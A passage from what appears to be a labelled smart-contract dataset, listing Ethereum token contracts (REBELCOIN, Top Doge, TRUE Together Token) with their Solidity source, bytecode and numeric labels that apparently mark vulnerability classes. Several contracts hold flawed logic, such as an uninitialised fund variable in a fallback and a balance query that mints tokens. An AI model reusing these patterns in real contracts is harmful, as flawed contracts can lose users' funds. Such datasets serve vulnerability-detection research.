b03168152602001806020018281038252848482818152602001925080828437600081840152601f19601f820116905080830192505050945050505050600060405180830381600087803b1580156116f457600080fd5b505af1158015611708573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604090815281101561173157600080fd5b815160208301805160405192949293830192919084600160201b82111561175757600080fd5b90830190602082018581111561176c57600080fd5b8251600160201b81118282018810171561178557600080fd5b82525081516020918201929091019080838360005b838110156117b257818101518382015260200161179a565b50505050905090810190601f1680156117df5780820380516001836020036101000a031916815260200191505b506040525050600160065550909890975095505050505050565b6040805163f3ae241560e01b815233600482015290516001600160a01b037f000000000000000000000000b46f8cf42e504efe8bef895f848741daa55e9f1d169163f3ae2415916024808301926020929190829003018186803b15801561185f57600080fd5b505afa158015611873573d6000803e3d6000fd5b505050506040513d602081101561188957600080fd5b50516118ca576040805162461bcd60e51b815260206004820152601a60248201526000805160206130ac833981519152604482015290519081900360640190fd5b60328160ff16111561190d5760405162461bcd60e51b8152600401808060200182810382526029815260200180612f9c6029913960400191505060405180910390fd5b6009805460ff8316600160a01b810260ff60a01b199092169190911790915560408051918252517f6bbc57480a46553fa4d156ce702beef5f3ad66303b0ed1a5d4cb44966c6584c39181900360200190a150565b600260065414156119a7576040805162461bcd60e51b815260206004820152601f6024820152600080516020612e85833981519152604482015290519081900360640190fd5b60026006556001600160a01b03811633146119f35760405162461bcd60e51b8152600401808060200182810382526029815260200180612fed6029913960400191505060405180910390fd5b60006119fe82612b04565b60095460408051635c55228560e01b81526001600160a01b0386811660048301528084166024830152600160a01b90930460ff166044820152905192935090831691635c5522859160648082019260009290919082900301818387803b158015611a6757600080fd5b505af1158015611a7b573d6000803e3d6000fd5b5050600160065550505050565b60026006541415611ace576040805162461bcd60e51b815260206004820152601f6024820152600080516020612e85833981519152604482015290519081900360640190fd5b60026006556000611ade33612b04565b90506000816001600160a01b031663322ba9f36040518163ffffffff1660e01b815260040160206040518083038186803b158015611b1b57600080fd5b505afa158015611b2f573d6000803e3d6000fd5b505050506040513d6020811015611b4557600080fd5b50519050611b533382612b5b565b611b5c33611111565b15611b6357fe5b816001600160a01b031663db2e21bc6040518163ffffffff1660e01b8152600401600060405180830381600087803b158015611b9e57600080fd5b505af1158015611bb2573d6000803e3d6000fd5b50506040805184815290513393507f5fafa99d0643513820be26656b45130b01e1c03062e1266bf36f88cbd3bd969592509081900360200190a250506001600655565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6000807f00000000000000000000000094235659cf8b805b2c658f9ea2d6d6ddbb17c8d76001600160a01b0316631526fe277f00000000000000000000000000000000000000000000000000000000000000016040518263ffffffff1660e01b81526004018082815260200191505060806040518083038186803b158015611ca757600080fd5b505afa158015611cbb573d6000803e3d6000fd5b505050506040513d6080811015611cd157600080fd5b505191505090565b6040805163f3ae241560e01b815233600482015290516001600160a01b037f000000000000000000000000b46f8cf42e504efe8bef895f848741daa55e9f1d169163f3ae2415916024808301926020929190829003018186803b158015611d3f57600080fd5b505afa158015611d53573d6000803e3d6000fd5b505050506040513d6020811015611d6957600080fd5b5051611daa576040805162461bcd60e51b815260206004820152601a60248201526000805160206130ac833981519152604482015290519081900360640190fd5b600980546001600160a01b0383166001600160a01b0319909116811790915560408051918252517f647672599d3468abcfa241a13c9e3d34383caadb5cc80fb67c3cdfcd5f7860599181900360200190a150565b60026006541415611e44576040805162461bcd60e51b815260206004820152601f6024820152600080516020612e85833981519152604482015290519081900360640190fd5b60026006556000611e5433612b04565b600954604080516364da976d60e11b81523360048201526001600160a01b038781166024830152604482018790528084166064830152600160a01b90930460ff16608482015290519293509083169163c9b52eda9160a48082019260009290919082900301818387803b158015611eca57600080fd5b505af1158015611ede573d6000803e3d6000fd5b505060016006555050505050565b60026006541415611f32576040805162461bcd60e51b815260206004820152601f6024820152600080516020612e85833981519152604482015290519081900360640190fd5b600260065580611f735760405162461bcd60e51b815260040180806020018281038252602c815260200180613016602c913960400191505060405180910390fd5b336001600160a01b038316148061201757506040805162db063b60e41b815233600482015290516001600160a01b037f000000000000000000000000b46f8cf42e504efe8bef895f848741daa55e9f1d1691630db063b0916024808301926020929190829003018186803b158015611fea57600080fd5b505afa158015611ffe573d6000803e3d6000fd5b505050506040513d602081101561201457600080fd5b50515b6120525760405162461bcd60e51b8152600401808060200182810382526029815260200180612fed6029913960400191505060405180910390fd5b600061205c611c20565b9050600061206984612b04565b90506120758484612b5b565b806001600160a01b03166369328dec8385876040518463ffffffff1660e01b815260040180846001600160a01b03168152602001838152602001826001600160a01b031681526020019350505050600060405180830381600087803b1580156120dd57600080fd5b505af11580156120f1573d6000803e3d6000fd5b50506040805186815290516001600160a01b03881693507f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a942436492509081900360200190a2505060016006555050565b6001600160a01b038082166000908152600760205260408120549091168061216b57600091505061112b565b6009546040805163fbe32b3560e01b81526001600160a01b038084166004830152600160a01b90930460ff16602482015290519183169163fbe32b3591604480820192602092909190829003018186803b1580156121c857600080fd5b505afa1580156121dc573d6000803e3d6000fd5b505050506040513d60208110156121f257600080fd5b50519392505050565b60006060600061220a87612b04565b9050806001600160a01b0316638aae18c08787876040518463ffffffff1660e01b815260040180846001600160a01b03168152602001806020018281038252848482818152602001925080828437600081840152601f19601f82011690508083019250505094505050505060006040518083038186803b15801561228d57600080fd5b505afa1580156122a1573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160409081528110156122ca57600080fd5b815160208301805160405192949293830192919084600160201b8211156122f057600080fd5b90830190602082018581111561230557600080fd5b8251600160201b81118282018810171561231e57600080fd5b82525081516020918201929091019080838360005b8381101561234b578181015183820152602001612333565b50505050905090810190601f1680156123785780820380516001836020036101000a031916815260200191505b5060405250929a91995090975050505050505050565b600260065414156123d4576040805162461bcd60e51b815260206004820152601f6024820152600080516020612e85833981519152604482015290519081900360640190fd5b600260065560006123e433612b04565b905060006123f0611c20565b9050816001600160a01b031663b40a716f826040518263ffffffff1660e01b815260040180826001600160a01b03168152602001915050600060405180830381600087803b158015611a6757600080fd5b7f000000000000000000000000b1cff81b9305166ff1efc49a129ad2afcd7bcf1981565b3390565b6001600160a01b0383166124ae5760405162461bcd60e51b81526004018080602001828103825260248152602001806130886024913960400191505060405180910390fd5b6001600160a01b0382166124f35760405162461bcd60e51b8152600401808060200182810382526022815260200180612ec76022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b7f000000000000000000000000b46f8cf42e504efe8bef895f848741daa55e9f1d6001600160a01b031663fbfa77cf6040518163ffffffff1660e01b815260040160206040518083038186803b1580156125ae57600080fd5b505afa1580156125c2573d6000803e3d6000fd5b505050506040513d60208110156125d857600080fd5b50516001600160a01b03163314612624576040805162461bcd60e51b815260206004820152601a60248201526000805160206130ac833981519152604482015290519081900360640190fd5b7f000000000000000000000000b1cff81b9305166ff1efc49a129ad2afcd7bcf196001600160a01b0316836001600160a01b0316148061269557507f000000000000000000000000b1cff81b9305166ff1efc49a129ad2afcd7bcf196001600160a01b0316826001600160a01b0316145b6126d05760405162461bcd60e51b8152600401808060200182810382526029815260200180612fed6029913960400191505060405180910390fd5b611378838383612c57565b6000818484111561276a5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561272f578181015183820152602001612717565b50505050905090810190601f16801561275c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000828201838110156127cc576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b6001600160a01b0380831660009081526007602052604090205416806108f35761281c7f0000000000000000000000005c823172fed7d4b73288d395d3374fb9d9a8712a612db2565b9050806001600160a01b031663b40a716f836040518263ffffffff1660e01b815260040180826001600160a01b03168152602001915050600060405180830381600087803b15801561286d57600080fd5b505af1158015612881573d6000803e3d6000fd5b505050506001600160a01b03928316600090815260076020526040902080546001600160a01b031916938216939093179092555090565b604080516001600160a01b0385811660248301528481166044830152606480830185905283518084039091018152608490920183526020820180516001600160e01b03166323b872dd60e01b178152925182516000948594938a169392918291908083835b6020831061293c5780518252601f19909201916020918201910161291d565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d806000811461299e576040519150601f19603f3d011682016040523d82523d6000602084013e6129a3565b606091505b50915091508180156129d15750805115806129d157508080602001905160208110156129ce57600080fd5b50515b612a0c5760405162461bcd60e51b81526004018080602001828103825260248152602001806130cc6024913960400191505060405180910390fd5b505050505050565b6001600160a01b038216612a6f576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b612a7b60008383611378565b600254612a889082612772565b6002556001600160a01b038216600090815260208190526040902054612aae9082612772565b6001600160a01b0383166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6001600160a01b03808216600090815260076020526040902054168061112b5760405162461bcd60e51b8152600401808060200182810382526028815260200180612f746028913960400191505060405180910390fd5b6001600160a01b038216612ba05760405162461bcd60e51b81526004018080602001828103825260218152602001806130426021913960400191505060405180910390fd5b612bac82600083611378565b612be981604051806060016040528060228152602001612ea5602291396001600160a01b03851660009081526020819052604090205491906126db565b6001600160a01b038316600090815260208190526040902055600254612c0f9082612e04565b6002556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b6001600160a01b038316612c9c5760405162461bcd60e51b81526004018080602001828103825260258152602001806130636025913960400191505060405180910390fd5b6001600160a01b038216612ce15760405162461bcd60e51b8152600401808060200182810382526023815260200180612e626023913960400191505060405180910390fd5b612cec838383611378565b612d2981604051806060016040528060268152602001612f4e602691396001600160a01b03861660009081526020819052604090205491906126db565b6001600160a01b038085166000908152602081905260408082209390935590841681522054612d589082612772565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b6000808260601b9050604051733d602d80600a3d3981f3363d3d373d3d3d363d7360601b81528160148201526e5af43d82803e903d91602b57fd5bf360881b60288201526037816000f0949350505050565b600082821115612e5b576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b5090039056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573735265656e7472616e637947756172643a207265656e7472616e742063616c6c0045524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f2061646472657373556e69742050726f746f636f6c2057726170706564204173736574733a20554e535550504f525445445f53454c4543544f52556e69742050726f746f636f6c2057726170706564204173736574733a204e4f545f414c4c4f5745445f464f525f5641554c5445524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365556e69742050726f746f636f6c2057726170706564204173736574733a204e4f5f4445504f534954556e69742050726f746f636f6c2057726170706564204173736574733a20494e56414c49445f46454545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365556e69742050726f746f636f6c2057726170706564204173736574733a20415554485f4641494c4544556e69742050726f746f636f6c2057726170706564204173736574733a20494e56414c49445f414d4f554e5445524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373556e69742050726f746f636f6c3a20415554485f4641494c45440000000000005472616e7366657248656c7065723a205452414e534645525f46524f4d5f4641494c454445524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220f33eb38c8dd81d85e8644c0c23b33d9769a3abc41050315a5d95eae0baceb43f64736f6c63430007060033
[ 7 ]
0xf2bad87c0d0ea8bda69c722368df4f79d92ee6c9
pragma solidity ^0.4.16; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract REBELCOIN{ // Public variables of the token string public name = "REBEL COIN"; string public symbol = "REBLC"; uint8 public decimals = 18; // 18 decimals is the strongly suggested default uint256 public totalSupply; uint256 public REBELCOINSupply = 1000000000; uint256 public buyPrice = 100000000; address public creator; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event FundTransfer(address backer, uint amount, bool isContribution); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ function REBELCOIN() public { totalSupply = REBELCOINSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; creator = msg.sender; } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value >= balanceOf[_to]); // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /// @notice tokens from contract by sending ether function () payable internal { uint amount = msg.value * buyPrice; // calculates the amount, uint amountRaised; amountRaised += msg.value; //many thanks require(balanceOf[creator] >= amount); // checks if it has enough to sell require(msg.value < 10**17); // so any person who wants to put more then 0.1 ETH has time to think about what they are doing balanceOf[msg.sender] += amount; // adds the amount to buyer's balance balanceOf[creator] -= amount; Transfer(creator, msg.sender, amount); // execute an event reflecting the change creator.transfer(amountRaised); } }
0x6060604052600436106100a4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806302d05d3f146102e257806306fdde03146103375780631365e6a3146103c557806318160ddd146103ee578063313ce5671461041757806370a08231146104465780638620410b1461049357806395d89b41146104bc578063a9059cbb1461054a578063dd62ed3e1461058c575b6000806005543402915034810190508160076000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561012357600080fd5b67016345785d8a00003410151561013957600080fd5b81600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508160076000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015156102de57600080fd5b5050005b34156102ed57600080fd5b6102f56105f8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561034257600080fd5b61034a61061e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561038a57808201518184015260208101905061036f565b50505050905090810190601f1680156103b75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103d057600080fd5b6103d86106bc565b6040518082815260200191505060405180910390f35b34156103f957600080fd5b6104016106c2565b6040518082815260200191505060405180910390f35b341561042257600080fd5b61042a6106c8565b604051808260ff1660ff16815260200191505060405180910390f35b341561045157600080fd5b61047d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506106db565b6040518082815260200191505060405180910390f35b341561049e57600080fd5b6104a66106f3565b6040518082815260200191505060405180910390f35b34156104c757600080fd5b6104cf6106f9565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561050f5780820151818401526020810190506104f4565b50505050905090810190601f16801561053c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561055557600080fd5b61058a600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610797565b005b341561059757600080fd5b6105e2600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506107a6565b6040518082815260200191505060405180910390f35b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106b45780601f10610689576101008083540402835291602001916106b4565b820191906000526020600020905b81548152906001019060200180831161069757829003601f168201915b505050505081565b60045481565b60035481565b600260009054906101000a900460ff1681565b60076020528060005260406000206000915090505481565b60055481565b60018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561078f5780601f106107645761010080835404028352916020019161078f565b820191906000526020600020905b81548152906001019060200180831161077257829003601f168201915b505050505081565b6107a23383836107cb565b5050565b6008602052816000526040600020602052806000526040600020600091509150505481565b60008273ffffffffffffffffffffffffffffffffffffffff16141515156107f157600080fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561083f57600080fd5b600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401101515156108ce57600080fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555080600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050505600a165627a7a72305820a627fa8ca22ca50d6936cbd116c633ce463452a391ee5707f513ac2ec111c99e0029
[ 12, 17 ]
0xf2baeee2b9af9248b97120d8c8b5b07a7cd8bf05
pragma solidity 0.6.6; // ---------------------------------------------------------------------------- // 'Top Doge' token contract // // Deployed to : 0xAec75721F58F745cB5CadF3999146E3225C00B9a // Symbol : TopDoge // Name : Tope Doge // Total supply: 100000000000 // Decimals : 10 // // Enjoy. // // (c) by Ahiwe Onyebuchi Valentine. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- abstract contract ERC20Interface { function totalSupply() virtual public view returns (uint); function balanceOf(address tokenOwner) virtual public view returns (uint balance); function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining); function transfer(address to, uint tokens) virtual public returns (bool success); function approve(address spender, uint tokens) virtual public returns (bool success); function transferFrom(address from, address to, uint tokens) virtual public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- abstract contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes memory data) virtual public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract TopDoge is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "TopDoge"; name = "Top Doge"; decimals = 0; _totalSupply = 100000000000; balances[0xAec75721F58F745cB5CadF3999146E3225C00B9a] = _totalSupply; emit Transfer(address(0), 0xAec75721F58F745cB5CadF3999146E3225C00B9a, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public override view returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public override view returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public override returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public override returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public override returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public override view returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ // function () external payable { // revert(); // } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
0x608060405234801561001057600080fd5b506004361061004c5760003560e01c806379ba5097146100515780638da5cb5b1461005b578063d4ee1d90146100a5578063f2fde38b146100ef575b600080fd5b610059610133565b005b6100636102d0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6100ad6102f5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101316004803603602081101561010557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061031b565b005b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461018d57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461037457600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505056fea2646970667358221220c6d6406381946793e85aab6e05eafb12392a8ef7b83af0fe75de5efcbe13750264736f6c63430006060033
[ 38 ]
0xF2bb016e8C9C8975654dcd62f318323A8A79D48E
pragma solidity ^0.4.23; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract TrueTogetherToken { string public constant name = "TRUE Together Token"; string public constant symbol = "TTR"; uint256 public constant decimals = 18; uint256 _totalSupply = 100000000 * 10 ** decimals; address public founder = 0x0; uint256 public voteEndTime; uint256 airdropNum = 1 ether; uint256 public distributed = 0; mapping (address => bool) touched; mapping (address => uint256) public balances; mapping (address => uint256) public frozen; mapping (address => uint256) public totalVotes; mapping (address => mapping (address => uint256)) public votingInfo; mapping (address => mapping (address => uint256)) allowed; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Vote(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); constructor() public { founder = msg.sender; voteEndTime = 1534348800; } function totalSupply() view public returns (uint256 supply) { return _totalSupply; } function balanceOf(address _owner) public returns (uint256 balance) { if (!touched[_owner] && SafeMath.add(distributed, airdropNum) < _totalSupply && now < voteEndTime) { touched[_owner] = true; distributed = SafeMath.add(distributed, airdropNum); balances[_owner] = SafeMath.add(balances[_owner], airdropNum); emit Transfer(this, _owner, airdropNum); } return balances[_owner]; } function transfer(address _to, uint256 _value) public returns (bool success) { require (_to != 0x0); if (now > voteEndTime) { require((balances[msg.sender] >= _value)); balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value); balances[_to] = SafeMath.add(balances[_to], _value); emit Transfer(msg.sender, _to, _value); return true; } else { require(balances[msg.sender] >= SafeMath.add(frozen[msg.sender], _value)); balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value); balances[_to] = SafeMath.add(balances[_to], _value); emit Transfer(msg.sender, _to, _value); return true; } } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require (_to != 0x0); if (now > voteEndTime) { require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value); balances[_from] = SafeMath.sub(balances[_from], _value); balances[_to] = SafeMath.add(balances[_to], _value); emit Transfer(_from, _to, _value); return true; } else { require(balances[_from] >= SafeMath.add(frozen[_from], _value) && allowed[_from][msg.sender] >= _value); balances[_from] = SafeMath.sub(balances[_from], _value); balances[_to] = SafeMath.add(balances[_to], _value); emit Transfer(_from, _to, _value); return true; } } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) view public returns (uint256 remaining) { return allowed[_owner][_spender]; } function distribute(address _to, uint256 _amount) public returns (bool success) { require(msg.sender == founder); require(SafeMath.add(distributed, _amount) <= _totalSupply); distributed = SafeMath.add(distributed, _amount); balances[_to] = SafeMath.add(balances[_to], _amount); touched[_to] = true; emit Transfer(this, _to, _amount); return true; } function distributeMultiple(address[] _tos, uint256[] _values) public returns (bool success) { require(msg.sender == founder); uint256 total = 0; uint256 i = 0; for (i = 0; i < _tos.length; i++) { total = SafeMath.add(total, _values[i]); } require(SafeMath.add(distributed, total) < _totalSupply); for (i = 0; i < _tos.length; i++) { distributed = SafeMath.add(distributed, _values[i]); balances[_tos[i]] = SafeMath.add(balances[_tos[i]], _values[i]); touched[_tos[i]] = true; emit Transfer(this, _tos[i], _values[i]); } return true; } function vote(address _to, uint256 _value) public returns (bool success) { require(_to != 0x0 && now < voteEndTime); require(balances[msg.sender] >= SafeMath.add(frozen[msg.sender], _value)); frozen[msg.sender] = SafeMath.add(frozen[msg.sender], _value); totalVotes[_to] = SafeMath.add(totalVotes[_to], _value); votingInfo[_to][msg.sender] = SafeMath.add(votingInfo[_to][msg.sender], _value); emit Vote(msg.sender, _to, _value); return true; } function voteAll(address _to) public returns (bool success) { require(_to != 0x0 && now < voteEndTime); require(balances[msg.sender] > frozen[msg.sender]); uint256 votesNum = SafeMath.sub(balances[msg.sender], frozen[msg.sender]); frozen[msg.sender] = balances[msg.sender]; totalVotes[_to] = SafeMath.add(totalVotes[_to], votesNum); votingInfo[_to][msg.sender] = 